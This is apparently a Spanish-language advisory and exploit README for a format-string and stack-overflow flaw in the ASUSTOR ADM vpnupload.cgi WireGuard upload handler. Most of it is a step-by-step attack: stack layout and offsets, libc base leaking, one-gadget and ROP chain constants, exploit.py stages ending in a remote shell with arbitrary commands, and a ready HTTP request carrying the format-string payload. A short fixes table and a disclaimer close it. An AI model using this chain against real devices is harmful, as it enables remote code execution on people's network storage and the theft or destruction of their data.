
ASUSTOR ADM 5.1.2 vpnupload.cgi Cadena de formato y desbordamiento de búfer en la pila RCE (CVE-2026-6643)
| Campo | Valor |
|---|
| Producto | ASUSTOR ADM (ASUSTOR Data Master) |
| Versión afectada | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Componente | /portal/apis/settings/vpnupload.cgi — acción upload_wireguard |
| Tipo de vulnerabilidad | CWE-134 Cadena de formato / CWE-121 Desbordamiento de búfer de pila |
| Severidad | Alta |
| Autenticación requerida | Sí (cookie Revive_Session válida) |
| Fecha de descubrimiento | 2026-03-14 |
El controlador upload_wireguard analiza un archivo de configuración de WireGuard, ensambla los campos en un objeto JSON y luego pasa el resultado directamente como argumento de cadena de formato a printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
Un atacante puede incrustar especificadores de formato de printf en cualquier campo de configuración de WireGuard:
%x / %p — leer memoria de la pila (fuga de información)%n — escribir en memoria arbitraria (ejecución de código mediante sobrescritura de GOT)El mismo controlador utiliza sscanf("%s") sin límites para copiar valores de configuración en búferes de pila de 300 bytes, mientras que fgets acepta hasta 32,768 bytes por línea:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
Proporcionar más de 300 bytes desborda los búferes adyacentes. Con 4000 bytes el RIP guardado se corrompe, provocando SIGSEGV.
| Protección | Estado | Impacto |
|---|---|---|
| FORTIFY_SOURCE | Deshabilitado | printf (no __printf_chk) — la escritura %n funciona |
| Canario de pila | Deshabilitado | No se requiere fuga de canario |
| PIE | Deshabilitado | Las direcciones de GOT y gadgets son estáticas |
| RELRO | Parcial | GOT es escribible |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (el búfer de Endpoint) se encuentra en rbp-0x164, el más cercano de los ocho búferes a la dirección de retorno guardada:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") deja de copiar en un byte nulo. Una dirección de libc (0x7f...) en little-endian termina con dos bytes nulos. Sin embargo, los dos bytes superiores de cualquier RIP guardado ya contienen 0x0000, por lo que la escritura se realiza correctamente aunque sscanf termine antes de tiempo:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
Todos los gadgets ROP intermedios también deben provenir de libc (rango 0x7f...) para evitar bytes nulos incrustados. Solo el valor final de la cadena puede terminar con nulos.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Ejemplo de salida:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Ejemplo de salida:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identifica el símbolo y calcula la base de libc:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Extrae libc.so.6 de la imagen de firmware y luego ejecuta:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Actualiza las constantes en exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Nota: Se requieren dos secciones multipart. El analizador utiliza un contador de límites; el análisis
sscanfse activa solo en la segunda sección.
Respuesta (campo clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
Establece PrivateKey en 4000 bytes → SIGSEGV (código de salida 139).
| Vulnerabilidad | Solución |
|---|---|
| Cadena de formato | Reemplaza printf(pcVar2) por printf("%s", pcVar2) o fputs(pcVar2, stdout) |
| Desbordamiento de búfer | Añade límites de longitud a todas las cadenas de formato sscanf (p. ej. %299s para búferes de 300 bytes) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi extraído de la imagenld-linux y las bibliotecas compartidas del propio firmwareje → jmp en el offset 0x1224 (solo pruebas locales)Este exploit se proporciona únicamente para investigación de seguridad y pruebas autorizadas. No lo utilices contra sistemas sin permiso explícito.